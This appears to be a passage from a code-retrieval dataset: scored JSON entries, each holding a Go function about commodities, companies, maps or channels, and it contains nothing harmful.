err)\n\t\t}\n\t\tchangeN := float32(chnF64) // ChangeN\n\n\t\t// parse unit\n\t\tss := strings.Split(r.unit, \"per\")\n\t\tif len(ss) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"unexpected unit format: \\\"%s\\\"\", r.unit)\n\t\t}\n\t\tcurrency := strings.TrimSpace(ss[0]) // Currency\n\t\tif currency == \"\" {\n\t\t\tcurrency = \"USD\"\n\t\t}\n\t\twu := strings.TrimSpace(ss[1])\n\t\tweightUnit := strings.ToLower(wu) // WeightUnit\n\n\t\t// define time layouts\n\t\tconst timeTime = \"3:04:05 PM\"\n\t\tconst timeDate = \"1/2/2006\"\n\t\t// parse time\n\t\tt, err := time.Parse(timeTime, r.time)\n\t\tif err != nil {\n\t\t\tt, err = time.Parse(timeDate, r.time)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"unexpected time format: %w\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tnow := time.Now()\n\t\t\tt = time.Date(now.Year(), now.Month(), now.Day(), t.Hour(), t.Minute(), t.Second(), 0, time.UTC)\n\t\t}\n\t\tlastUpdate := t // LastUpdate\n\n\t\t// append to the other commodities\n\t\tcmd := models.Commodity{\n\t\t\tName: name,\n\t\t\tPrice: price,\n\t\t\tCurrency: currency,\n\t\t\tWeightUnit: weightUnit,\n\t\t\tChangeP: changeP,\n\t\t\tChangeN: changeN,\n\t\t\tLastUpdate: lastUpdate,\n\t\t}\n\t\tcmds = append(cmds, cmd)\n\t}\n\n\t// success\n\treturn cmds, nil\n}", "title": "" }, { "docid": "878921e90be76645aa4a5dd3109a4bfa", "score": "0.4727595", "text": "func (items RepoContents) Map(mapper func(content RepoContent) string) (ret []string) {\n\tfor _, item := range items {\n\t\tret = append(ret, mapper(item))\n\t}\n\treturn\n}", "title": "" }, { "docid": "f0644338652046e0e72910d97b481ac6", "score": "0.46801677", "text": "func (c *Commodities) SubscribeCommodity(srv commodity.Commodity_SubscribeCommodityServer) error { // satisfy CommodityServer interface\n\n\t// handling requests\n\tfor {\n\n\t\t// get request\n\t\treq, err := srv.Recv()\n\t\tif err == io.EOF {\n\t\t\tc.log.Printf(\"[EXIT] client closed connection\")\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tc.log.Printf(\"[ERROR] invalid request format: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t// validate if error occurs, terminate the request\n\t\tn := req.GetName()\n\t\tif _, ok := c.data.Commodities[n]; !ok {\n\t\t\tc.log.Printf(\"[ERROR] commodity %s not found\", n)\n\n\t\t\t// handle grpc error\n\t\t\tgStatus := status.Newf(\n\t\t\t\tcodes.NotFound,\n\t\t\t\t\"Commodity %s was not found.\", n,\n\t\t\t)\n\t\t\tgStatus.WithDetails(req)\n\t\t\tsrv.Send(&commodity.StreamingCommodityResponse{\n\t\t\t\tMessage: &commodity.StreamingCommodityResponse_Error{\n\t\t\t\t\tError: gStatus.Proto(),\n\t\t\t\t},\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\t// append a subscribtion\n\t\treqs, ok := c.subscribtions[srv]\n\t\tif !ok {\n\t\t\tc.subscribtions[srv] = []*commodity.CommodityRequest{}\n\t\t}\n\n\t\t// skip if already subscribed\n\t\tvar validErr *status.Status\n\t\tfor _, v := range reqs {\n\t\t\tif v.GetName() == req.GetName() {\n\t\t\t\tc.log.Printf(\"[ERROR] client already subscribe for: %s\", v.GetName())\n\n\t\t\t\t// err\n\t\t\t\tvalidErr = status.Newf(\n\t\t\t\t\tcodes.AlreadyExists,\n\t\t\t\t\t\"Client is already subscribed for commodity:\\\"%s\\\"\", v.GetName(),\n\t\t\t\t)\n\t\t\t\t// add original request\n\t\t\t\tvar wde error\n\t\t\t\tvalidErr, wde = validErr.WithDetails(req)\n\t\t\t\tif wde != nil {\n\t\t\t\t\tc.log.Printf(\"[ERROR] unable to add metadata to error: %v\", wde)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\t// if validErr exists rettuns error and continue\n\t\tif validErr != nil {\n\t\t\tsrv.Send(&commodity.StreamingCommodityResponse{\n\t\t\t\tMessage: &commodity.StreamingCommodityResponse_Error{\n\t\t\t\t\tError: validErr.Proto(),\n\t\t\t\t},\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\t// success\n\t\tc.subscribtions[srv] = append(reqs, req)\n\t\tc.log.Printf(\"[SUCCESS] client subscribed: %v\", req)\n\t}\n\n\t// break\n\treturn nil\n}", "title": "" }, { "docid": "686b708894efc09c0a7f79d00da96a14", "score": "0.46687898", "text": "func hasCommodityUnique(commodities []*proto.CommodityDTO, commDTO *proto.CommodityDTO) bool {\n\ttimesFound := 0\n\tfound := false\n\tfor _, comm := range commodities {\n\t\tif commDTO == comm || commDTO.GetCommodityType() == comm.GetCommodityType() &&\n\t\t\tcommDTO.GetKey() == comm.GetKey() {\n\t\t\tfound = true\n\t\t\ttimesFound += 1\n\t\t}\n\t}\n\treturn found && timesFound == 1\n}", "title": "" }, { "docid": "6d495638d4360e2bad6b227d33dc981d", "score": "0.46425575", "text": "func (cp *ComplianceProcessor) AddCommoditiesBought(entityDTO *proto.EntityDTO, provider *sdkbuilder.ProviderDTO, commodities ...*proto.CommodityDTO) error {\n\tif entityDTO == nil {\n\t\treturn errors.New(\"invalid input: entityDTO is nil.\")\n\t}\n\tif commodities == nil {\n\t\treturn errors.New(\"invalid input: commodit is nil.\")\n\t}\n\tif provider == nil {\n\t\treturn errors.New(\"invalid input: provider is nil.\")\n\t}\n\tfoundProvider := false\n\tfor _, commsBoughtFromOneProvider := range entityDTO.GetCommoditiesBought() {\n\t\tif commsBoughtFromOneProvider.GetProviderId() == provider.GetId() {\n\t\t\tcommsBought := commsBoughtFromOneProvider.GetBought()\n\t\t\tfor _, comm := range commodities {\n\t\t\t\tif !hasCommodity(commsBought, comm) {\n\t\t\t\t\tcommsBought = append(commsBought, comm)\n\t\t\t\t} else {\n\t\t\t\t\tglog.V(4).Infof(\"Access commodity bought exists. Skip adding access commodity: %v.\", comm)\n\t\t\t\t}\n\t\t\t}\n\t\t\tcommsBoughtFromOneProvider.Bought = commsBought\n\t\t\tfoundProvider = true\n\t\t}\n\t}\n\tif !foundProvider {\n\t\tproviderID := provider.GetId()\n\t\tpType := provider.GetProviderType()\n\t\tboughtFromProvider := &proto.EntityDTO_CommodityBought{\n\t\t\tProviderId: &providerID,\n\t\t\tProviderType: &pType,\n\t\t\tBought: []*proto.CommodityDTO{},\n\t\t}\n\t\tboughtFromProvider.Bought = append(boughtFromProvider.Bought, commodities...)\n\t\tentityDTO.CommoditiesBought = append(entityDTO.GetCommoditiesBought(), boughtFromProvider)\n\n\t\terr := cp.UpdateEntityDTO(entityDTO)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to update pod entityDTO: %s\", err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d3fae58c136f0eae569c265531f806e1", "score": "0.45570213", "text": "func (p Problem) couplerMap() map[int][]ProblemEntry {\n\tcMap := make(map[int][]ProblemEntry, len(p))\n\tfor _, pe := range p {\n\t\t// Skip field weights.\n\t\ti, j := pe.I, pe.J\n\t\tif i == j {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Store I --> J entries.\n\t\tpes, found := cMap[i]\n\t\tif !found {\n\t\t\tpes = make([]ProblemEntry, 0, 1)\n\t\t}\n\t\tcMap[i] = append(pes, pe)\n\n\t\t// Store J --> I entries.\n\t\tpe.I, pe.J = pe.J, pe.I\n\t\tpes, found = cMap[j]\n\t\tif !found {\n\t\t\tpes = make([]ProblemEntry, 0, 1)\n\t\t}\n\t\tcMap[j] = append(pes, pe)\n\t}\n\treturn cMap\n}", "title": "" }, { "docid": "85af88aa23424da625d5e7c75d137799", "score": "0.45245808", "text": "func mapCountries(sales []carSale) countryMappings {\n\t// Create mappings struct\n\tvar mapOfCountries countryMappings\n\t// Assign map to struct\n\tmapOfCountries.Countries = make(map[string]countryMap)\n\tfor _, sale := range sales {\n\t\t// See if our import country exists in our map\n\t\tcMap, ok := mapOfCountries.Countries[sale.ImportCountry]\n\t\tif ok {\n\t\t\tupdateCountryMap(sale, cMap)\n\t\t} else {\n\t\t\t// Create countryMap and initialize underlying maps\n\t\t\tvar tempCMap countryMap\n\t\t\ttempCMap.Country = sale.ImportCountry\n\t\t\ttempCMap.Cars = make(map[string]int)\n\t\t\ttempCMap.Makes = make(map[string]int)\n\t\t\ttempCMap.Sellers = make(map[string]int)\n\t\t\t// Create int and pass reference to it to my map\n\t\t\tvar total, quantity int\n\t\t\ttempCMap.TotalSales = &total\n\t\t\ttempCMap.QuantitySold = &quantity\n\t\t\t// Map import country of sale to new country map and update to reflect this sale\n\t\t\tmapOfCountries.Countries[sale.ImportCountry] = tempCMap\n\t\t\tupdateCountryMap(sale, tempCMap)\n\t\t}\n\t}\n\treturn mapOfCountries\n}", "title": "" }, { "docid": "93d7ff5405b8707ae818240a2bec3459", "score": "0.45168102", "text": "func addCommodity(w http.ResponseWriter, r *http.Request) *ApiError {\n\t// Parse JSON response and unmarshal to a Commodity.\n\tvar commodity Commodity\n\terr := json.NewDecoder(r.Body).Decode(&commodity)\n\n\t// If unable to parse or commodity is missing data, return error.\n\tif err != nil {\n\t\treturn &ApiError{JSON_PARSE_ERROR, http.StatusBadRequest}\n\t}\n\n\terr = commodity.validateAndNormalize()\n\tif err != nil {\n\t\treturn &ApiError{\"Failed to validate commodity.\\n\" + err.Error(), http.StatusBadRequest}\n\t}\n\n\tdb := dbMaster.spawnDb()\n\tdefer db.stop()\n\n\t// Add commodity to database.\n\terr = db.addCommodity(&commodity)\n\tif err != nil {\n\t\treturn &ApiError{err.Error(), http.StatusConflict}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1db796f5c5715a49f8fc9915812d5970", "score": "0.44987056", "text": "func (chs *CharacterService) Comics(characterID int, params *ComicParams) ([]Comic, error) {\n\twrap, _, err := chs.ComicsWrapped(characterID, params)\n\treturn wrap.Data.Results, err\n}", "title": "" }, { "docid": "fcc4a02088d9ed08f128f37527d62cd4", "score": "0.44811922", "text": "func (c *Commodities) handleRequest(req *commodity.CommodityRequest) (*commodity.CommodityResponse, error) {\n\n\t// get the commodity\n\tname := req.GetName()\n\tname = strings.ToLower(name)\n\tcmd, err := c.data.GetCommodity(name)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get commodity: %w\", err)\n\t}\n\n\t// success\n\tresp := &commodity.CommodityResponse{\n\t\tName: cmd.Name,\n\t\tPrice: cmd.Price,\n\t\tCurrency: cmd.Currency,\n\t\tWeightUnit: cmd.WeightUnit,\n\t\tChangeP: cmd.ChangeP,\n\t\tChangeN: cmd.ChangeN,\n\t\tLastUpdate: cmd.LastUpdate.Unix(),\n\t}\n\tfmt.Println(\"HERE\", resp.Currency)\n\treturn resp, nil\n}", "title": "" }, { "docid": "5e69f020fc1efbf76e83ed3f0a203dfe", "score": "0.44516063", "text": "func (c Chan) Map(t mapper) Chan {\n\tnewChan := NewChan()\n\tgo func() {\n\t\tfor v := range c {\n\t\t\tnewChan <- t(v)\n\t\t}\n\t\tclose(newChan)\n\t}()\n\treturn newChan\n}", "title": "" }, { "docid": "b77449b3f7a70c6785fc2c3758a22882", "score": "0.44305488", "text": "func (d DeltaCovList) Map() map[string]DeltaCov {\n\tm := make(map[string]DeltaCov)\n\tfor _, c := range d {\n\t\tm[c.FileName] = c\n\t}\n\treturn m\n}", "title": "" }, { "docid": "da02fd39973076e82459f62b88044508", "score": "0.44138676", "text": "func (_HoQuStorage *HoQuStorageCaller) Companies(opts *bind.CallOpts, arg0 [16]byte) (struct {\n\tOwnerId [16]byte\n\tName string\n\tDataUrl string\n\tCreatedAt *big.Int\n\tStatus uint8\n}, error) {\n\tret := new(struct {\n\t\tOwnerId [16]byte\n\t\tName string\n\t\tDataUrl string\n\t\tCreatedAt *big.Int\n\t\tStatus uint8\n\t})\n\tout := ret\n\terr := _HoQuStorage.contract.Call(opts, out, \"companies\", arg0)\n\treturn *ret, err\n}", "title": "" }, { "docid": "7393db4133b89f5fbed8b0ff84cf8b16", "score": "0.44110417", "text": "func (c *Commodity) Name() string {\n\treturn c.DbName\n}", "title": "" }, { "docid": "d993aa0ae4f45e83d12f638266abaa74", "score": "0.4393675", "text": "func (c *company) buildMapOfManagersToSubordinates() (string, map[string][]string) {\n\tvar mapOfMgrsToSubs = make(map[string][]string)\n\n\tvar ceo string\n\n\tfor _, e := range c.Employees {\n\t\t// CEO will not have a manager\n\t\tif e.ManagerName != \"\" {\n\t\t\tmapOfMgrsToSubs[e.ManagerName] = append(mapOfMgrsToSubs[e.ManagerName], e.Name)\n\t\t} else {\n\t\t\tceo = e.Name\n\t\t}\n\t}\n\n\treturn ceo, mapOfMgrsToSubs\n}", "title": "" }, { "docid": "087ddf376241df65c8c4aa1b596a285b", "score": "0.43678588", "text": "func InitialCommunities(data map[int][]int) map[int]int {\n // Each object is assigned to its own community.\n log.Println(\"Assigning objects to initial communities..\")\n var network map[int]int\n network = make(map[int]int)\n for k,_ := range(data) {\n network[k] = k\n }\n return network\n}", "title": "" }, { "docid": "efdc1e60abd63346e39a4d96cef7d895", "score": "0.43655077", "text": "func (cp *ComplianceProcessor) AddCommoditiesSold(entityDTO *proto.EntityDTO, commodities ...*proto.CommodityDTO) error {\n\tif entityDTO == nil {\n\t\treturn errors.New(\"invalid input: entityDTO is nil.\")\n\t}\n\tif commodities == nil {\n\t\treturn errors.New(\"invalid input: commodity is nil.\")\n\t}\n\tcommoditiesSold := entityDTO.GetCommoditiesSold()\n\tfor _, comm := range commodities {\n\t\tif !hasCommodity(commoditiesSold, comm) {\n\t\t\tcommoditiesSold = append(commoditiesSold, comm)\n\t\t} else {\n\t\t\tglog.V(4).Infof(\"Access commodity sold exists. Skip adding access commodity: %v.\", comm)\n\t\t}\n\t}\n\n\tentityDTO.CommoditiesSold = commoditiesSold\n\terr := cp.UpdateEntityDTO(entityDTO)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to update node entityDTO: %s\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "71c018143a0e17bf98d0bf62f4e051ef", "score": "0.432989", "text": "func (s ChatClassArray) ChannelToMap() map[int64]*Channel {\n\tr := make(map[int64]*Channel, len(s))\n\ts.FillChannelMap(r)\n\treturn r\n}", "title": "" }, { "docid": "433b2cf1d0763e909d0b71df75eb59b9", "score": "0.43232766", "text": "func (pc Controller) CommeNameCom(c *gin.Context) {\n\tvar d []entity.Data\n\tdb := db.ConnectGorm()\n\tname := c.Query(\"name\")\n\tname = encodingMsg(name)\n\tvID := c.Query(\"id\")\n\terr := db.Where(\"name = ? AND video_url = ?\", name, vID).Find(&d).Error\n\tif err != nil {\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, apierrors.ErrDB)\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, d)\n}", "title": "" }, { "docid": "8ab26dd5f343f7cc9b506560640f5c76", "score": "0.43175593", "text": "func ProcessorCompanyName(cmap *ColumnMapper, input string) (string, error) {\n\treturn fake.Company(), nil\n}", "title": "" }, { "docid": "82b797a0d9d900bc3da1d6e2b3163ce2", "score": "0.43132973", "text": "func ComponentsToDynMap(c []Component) []*dynmap.DynMap {\n\tmps := []*dynmap.DynMap{}\n\tfor _, cm := range c {\n\t\tmps = append(mps, cm.ToDynMap())\n\t}\n\treturn mps\n}", "title": "" }, { "docid": "3618685b7ea92003feacd632e1f6a9d1", "score": "0.4313282", "text": "func fieldMap(headers map[int]Column) map[string][]int {\n\t// Map FieldID => ith, jth, kth, (etc) Column(s) in the CSV\n\tout := make(map[string][]int)\n\n\tfor i, v := range headers {\n\t\tout[v.FieldID] = append(out[v.FieldID], i)\n\t}\n\n\treturn out\n}", "title": "" }, { "docid": "e60376aecfe1351f9719bcb281874902", "score": "0.431148", "text": "func (clt ChampionsLeagueTournament) MapOfGroups() map[string][]string {\n\tmapWCGroups := make(map[string][]string)\n\treturn mapWCGroups\n}", "title": "" }, { "docid": "43943c126d8598aacfe61319346d68ea", "score": "0.43100083", "text": "func NewCommodity(entity DbEntity, category gom.Commodity_Category, rare, nonMarketable bool, avgPrice uint32) (*Commodity, error) {\n\treturn &Commodity{\n\t\tDbEntity: entity,\n\t\tCategoryID: category,\n\t\tIsRare: rare,\n\t\tIsNonMarketable: nonMarketable,\n\t\tAverageCr: avgPrice,\n\t}, nil\n}", "title": "" }, { "docid": "1ebb75847c7ac4f06382e01525c4c28c", "score": "0.43099564", "text": "func (o *Instrument) CompanyCurrencyEquities(exec boil.Executor, mods ...qm.QueryMod) equityQuery {\n\tvar queryMods []qm.QueryMod\n\tif len(mods) != 0 {\n\t\tqueryMods = append(queryMods, mods...)\n\t}\n\n\tqueryMods = append(queryMods,\n\t\tqm.Where(\"\\\"instruments\\\".\\\"equity\\\".\\\"company_currency_id\\\"=?\", o.ID),\n\t)\n\n\tquery := Equities(exec, queryMods...)\n\tqueries.SetFrom(query.Query, \"\\\"instruments\\\".\\\"equity\\\"\")\n\n\tif len(queries.GetSelect(query.Query)) == 0 {\n\t\tqueries.SetSelect(query.Query, []string{\"\\\"instruments\\\".\\\"equity\\\".*\"})\n\t}\n\n\treturn query\n}", "title": "" }, { "docid": "0fe2dfac13647ebca19fc4bf75dbf4e1", "score": "0.42968896", "text": "func GetCurrentCompanies(lresp map[string]interface{}) (curPositions []map[string]string, headline string) {\n\n\tvar positionsMap map[string]interface{}\n\tvar ok bool\n\n\tif headline, ok = lresp[\"headline\"].(string); !ok {\n\t\theadline = \"\"\n\t}\n\n\tif positionsMap, ok = lresp[\"positions\"].(map[string]interface{}); !ok {\n\t\treturn\n\t}\n\n\tfor _, pItem := range positionsMap {\n\t\tpositions, ok := pItem.([]interface{})\n\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, positionRaw := range positions {\n\t\t\tif position, ok := positionRaw.(map[string]interface{}); ok {\n\t\t\t\tif isCurrent, ok := position[\"isCurrent\"].(bool); ok && isCurrent {\n\t\t\t\t\tdata := position[\"company\"].(map[string]interface{})\n\t\t\t\t\tpos := map[string]string{}\n\n\t\t\t\t\t// Get company name\n\t\t\t\t\tif val, ok := data[\"name\"]; ok && val != nil {\n\t\t\t\t\t\tpos[\"company\"] = fmt.Sprint(val)\n\t\t\t\t\t}\n\n\t\t\t\t\t// Get title\n\t\t\t\t\tif val, ok := position[\"title\"]; ok && val != nil {\n\t\t\t\t\t\tpos[\"position\"] = fmt.Sprint(val)\n\t\t\t\t\t}\n\n\t\t\t\t\tcurPositions = append(curPositions, pos)\n\n\t\t\t\t\t/* BUGGY previous version:\n\t\t\t\t\t curPositions = append(curPositions, map[string]string{\n\t\t\t\t\t \"company\": data[\"name\"].(string),\n\t\t\t\t\t \"position\": position[\"title\"].(string),\n\t\t\t\t\t })\n\t\t\t\t\t*/\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "d1591a6b37102f69c37d9617c0863b09", "score": "0.42889285", "text": "func (t Tools) AsMap(platform string) map[string]Tool {\n\tm := make(map[string]Tool)\n\tfor _, tool := range t {\n\t\tif hostplatform.MakeName(tool.OS, tool.CPU) == platform {\n\t\t\tm[tool.Name] = tool\n\t\t}\n\t}\n\treturn m\n}", "title": "" }, { "docid": "5e375de81f525ece797227207b9eca6f", "score": "0.4282003", "text": "func (m *Map) ConnectedCities(cityName CityName) []CityName {\n\tvar cities []CityName\n\tcity, ok := m.cities[cityName]\n\tif !ok {\n\t\treturn cities\n\t}\n\tfor _, destName := range city.roads {\n\t\tif !m.IsCityDestroyed(destName) {\n\t\t\tcities = append(cities, destName)\n\t\t}\n\t}\n\treturn cities\n}", "title": "" }, { "docid": "25cca0aa3131b01b080c5aa1d61087cb", "score": "0.42779043", "text": "func ConcurrentBoundedChannel(text []string) map[rune]int {\n\tm := make(map[rune]int)\n\n\tg := runtime.GOMAXPROCS(0)\n\tvar wg sync.WaitGroup\n\twg.Add(g)\n\n\tvar mu sync.Mutex\n\tch := make(chan string, len(text))\n\n\tfor i := 0; i < g; i++ {\n\t\tgo func() {\n\t\t\tlm := make(map[rune]int)\n\t\t\tdefer func() {\n\n\t\t\t\tmu.Lock()\n\t\t\t\tdefer mu.Unlock()\n\t\t\t\tfor k, v := range lm {\n\t\t\t\t\tm[k] = m[k] + v\n\t\t\t\t}\n\t\t\t\twg.Done()\n\t\t\t}()\n\n\t\t\tfor words := range ch {\n\t\t\t\tfor _, r := range words {\n\t\t\t\t\tlm[r]++\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\n\tfor _, words := range text {\n\t\tch <- words\n\t}\n\tclose(ch)\n\n\twg.Wait()\n\treturn m\n}", "title": "" }, { "docid": "549557bec5f03d53b1a3cfc255b0445c", "score": "0.42724988", "text": "func ContractInfo(chainID, orgID, contractName string) (contracts map[string]std.Contract, err error) {\n\n\tdefer FuncRecover(&err)\n\n\tContractList := new(std.ContractVersionList)\n\n\taddrS := nodeAddrSlice(chainID)\n\n\terr = common.DoHttpQueryAndParse(addrS, std.KeyOfContractsWithName(orgID, contractName), &ContractList)\n\n\tcontracts = make(map[string]std.Contract)\n\tfor k, v := range ContractList.ContractAddrList {\n\n\t\tcontract := new(std.Contract)\n\n\t\terr = common.DoHttpQueryAndParse(addrS, std.KeyOfContract(v), &contract)\n\n\t\tcontracts[contractName+string(k)] = *contract\n\t}\n\treturn\n}", "title": "" }, { "docid": "fed0b65c6c537deb1b759c398f9bb2bb", "score": "0.42637107", "text": "func (c *Client) InventoryMap(query string, pagination *Pagination, orderBy *OrderBy) ([]map[string]interface{}, error) {\n\tvar payload []map[string]interface{}\n\terr := getRequest(c, inventory, query, pagination, orderBy, &payload)\n\treturn payload, err\n}", "title": "" }, { "docid": "07ab88ddb3ddd4a6ff8cc85576a77887", "score": "0.4237269", "text": "func (cars Cars) Map(f func(car *Car) Any) []Any {\n\ttheresult := make([]Any, 0)\n\tix := 0\n\tcars.Process(func(theCar *Car) {\n\t\ttheresult[ix] = f(theCar)\n\t\tix++\n\t})\n\treturn theresult\n}", "title": "" }, { "docid": "c65adb50c35c74dc633b731a79d7ac86", "score": "0.42363265", "text": "func (srs *SeriesService) Comics(seriesID int, params *ComicParams) ([]Comic, error) {\n\twrap, _, err := srs.ComicsWrapped(seriesID, params)\n\treturn wrap.Data.Results, err\n}", "title": "" }, { "docid": "84eedf882ad2c43a12568ab24472d4e3", "score": "0.422823", "text": "func (c *MessageConnection) mapChannels(ctx *macaron.Context) {\n\tctx.Set(reflect.ChanOf(reflect.SendDir, reflect.TypeOf(c.Sender).Elem()), reflect.ValueOf(c.Sender))\n\tctx.Set(reflect.ChanOf(reflect.RecvDir, reflect.TypeOf(c.Receiver).Elem()), reflect.ValueOf(c.Receiver))\n}", "title": "" }, { "docid": "bdaaa566b80dabe18d95999ae7ee6ef6", "score": "0.4227594", "text": "func Quantities(layers []string) (noodles int, sauce float64) {\n\tfor i := 0; i < len(layers); i++ {\n\t\tswitch layers[i] {\n\t\tcase \"noodles\":\n\t\t\tnoodles += noodleUnits\n\t\tcase \"sauce\":\n\t\t\tsauce += sauceUnits\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "8bd05109c8b2c741dc47cead62a2ba59", "score": "0.42251253", "text": "func (l *WorkerPool) Map(fn func(index string, info *ParserService)) {\n\tfor item := range l.data {\n\t\tfn(item, l.data[item])\n\t}\n}", "title": "" }, { "docid": "e6163b4352cf8369a471c1c90e058e97", "score": "0.4216055", "text": "func CurrencyList() map[CurrencyCode]Currency {\n\treturn map[CurrencyCode]Currency{\n\t\tCurrencyCode_BTC: {\n\t\t\tCode: CurrencyCode_BTC,\n\t\t\tName: \"Bitcoin\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_MXN: {\n\t\t\tCode: CurrencyCode_MXN,\n\t\t\tName: \"Mexican Pesos\",\n\t\t\tPrecision: 2,\n\t\t},\n\t\tCurrencyCode_ETH: {\n\t\t\tCode: CurrencyCode_ETH,\n\t\t\tName: \"Ethereum\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_XRP: {\n\t\t\tCode: CurrencyCode_XRP,\n\t\t\tName: \"Ripple\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_LTC: {\n\t\t\tCode: CurrencyCode_LTC,\n\t\t\tName: \"Litecoin\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_BCH: {\n\t\t\tCode: CurrencyCode_BCH,\n\t\t\tName: \"Bitcoin Cash\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_TUSD: {\n\t\t\tCode: CurrencyCode_TUSD,\n\t\t\tName: \"TrueUSD\",\n\t\t\tPrecision: 2,\n\t\t},\n\t\tCurrencyCode_MANA: {\n\t\t\tCode: CurrencyCode_MANA,\n\t\t\tName: \"Decentraland\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_GNT: {\n\t\t\tCode: CurrencyCode_GNT,\n\t\t\tName: \"Golem\",\n\t\t\tPrecision: 8,\n\t\t},\n\t\tCurrencyCode_BAT: {\n\t\t\tCode: CurrencyCode_BAT,\n\t\t\tName: \"Basic Attention Token\",\n\t\t\tPrecision: 8,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "eb7ccc74406c1e231072a6a9ac9530df", "score": "0.41954175", "text": "func ToCompanies(records <-chan []string, chanSize int) <-chan models.Company {\n\tch := make(chan models.Company, chanSize)\n\n\tgo func() {\n\t\tdefer close(ch)\n\n\t\tfor rec := range records {\n\t\t\trecSize := len(rec)\n\n\t\t\t// TODO verificar conteudo do slice (não só o tamanho)\n\t\t\tif recSize >= 2 && recSize <= 3 {\n\t\t\t\tname := rec[0]\n\t\t\t\tzip := rec[1]\n\t\t\t\tvar ws *string\n\n\t\t\t\tif len(rec) == 3 {\n\t\t\t\t\tws = &rec[2]\n\t\t\t\t}\n\n\t\t\t\tc := models.Company{Name: name, Zip: zip, Website: ws}\n\n\t\t\t\tch <- c\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Error: invalid CSV line: '%v'\", rec) // TODO adicionar linha do CSV no log\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn ch\n}", "title": "" }, { "docid": "ddaef3012a258eeb0eddf34852b15350", "score": "0.41824177", "text": "func ProcessorCity(cmap *ColumnMapper, input string) (string, error) {\n\treturn fake.City(), nil\n}", "title": "" }, { "docid": "65c7d6ba86cf38dea0b1ea94d73be150", "score": "0.4162211", "text": "func (nm *GceNetworkMapper) MapNetworkPerf(ntwPerf string) (string, error) {\n\tfor perfCat, strVals := range ntwPerfMap {\n\t\tif cloudinfo.Contains(strVals, ntwPerf) {\n\t\t\treturn perfCat, nil\n\t\t}\n\t}\n\treturn \"\", errors.Wrap(errors.New(ntwPerf), \"could not determine network performance\")\n}", "title": "" }, { "docid": "7ad5f9a7418f95d36445ebdfc4d1c2b6", "score": "0.41602108", "text": "func deploymentMap(deps []appsv1.Deployment) map[string]appsv1.Deployment {\n\tm := map[string]appsv1.Deployment{}\n\tfor _, d := range deps {\n\t\tm[fmt.Sprintf(\"%s.%s\", d.Namespace, d.Name)] = d\n\t}\n\treturn m\n}", "title": "" }, { "docid": "5c148c861e3638654cc0a09a261f726c", "score": "0.41456467", "text": "func getContractNames(\n\tctx context.Context,\n\tcontracts db.Contracts,\n) []*db.Affiliation {\n\taffiliations := []*db.Affiliation{}\n\tfor _, contract := range contracts {\n\t\tfor _, charID := range []int32{contract.Donator, contract.Receiver} {\n\t\t\tisKnown := false\n\t\t\tfor _, known := range affiliations {\n\t\t\t\tif known.Character.ID == charID || known.Corporation.ID == charID {\n\t\t\t\t\tisKnown = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif isKnown {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tresolved, err := resolveNames(ctx, charID)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"failed to resolve names: %+v\", err)\n\t\t\t} else {\n\t\t\t\taffiliations = append(affiliations, resolved)\n\t\t\t}\n\t\t}\n\t}\n\treturn affiliations\n}", "title": "" }, { "docid": "af28cfc1f98e7a4b0cb0cc7a045c0ba3", "score": "0.41444308", "text": "func NewChannelMap() *ChannelMap {\n\tcm := new(ChannelMap)\n\tcm.AskSendChan = make(chan string, ASK_BUFFER_SIZE)\n\tcm.AskReceiveChan = make(chan int)\n\tcm.AddChan = make(chan string, ADD_BUFFER_SIZE)\n\tcm.ReduceChan = make(chan ReduceFunc, REDUCE_BUFFER_SIZE)\n\tcm.ReduceRetStrChan = make(chan string, REDUCE_BUFFER_SIZE)\n\tcm.ReduceRetIntChan = make(chan int, REDUCE_BUFFER_SIZE)\n\tcm.KillChan = make(chan int)\n\tcm.Words = make(map[string]int)\n\treturn cm\n}", "title": "" }, { "docid": "b5172235f40dd478abe42d17b65c5a91", "score": "0.41428405", "text": "func GetCommissions(ctx iris.Context) {\n\tvar resp models.Commissions\n\tdb := ctx.Values().Get(\"db\").(*sql.DB)\n\tif err := resp.GetAll(db); err != nil {\n\t\tctx.StatusCode(http.StatusInternalServerError)\n\t\tctx.JSON(jsonError{\"Liste des commissions, requête : \" + err.Error()})\n\t\treturn\n\t}\n\tctx.StatusCode(http.StatusOK)\n\tctx.JSON(resp)\n}", "title": "" }, { "docid": "afa029e3b0d4b041a51d2dde2f3d9b68", "score": "0.41388702", "text": "func (network Network) computeHubCities() []string {\n\tocurrenceMap := make(map[string]int)\n\tfor _, path := range network.FlightPaths 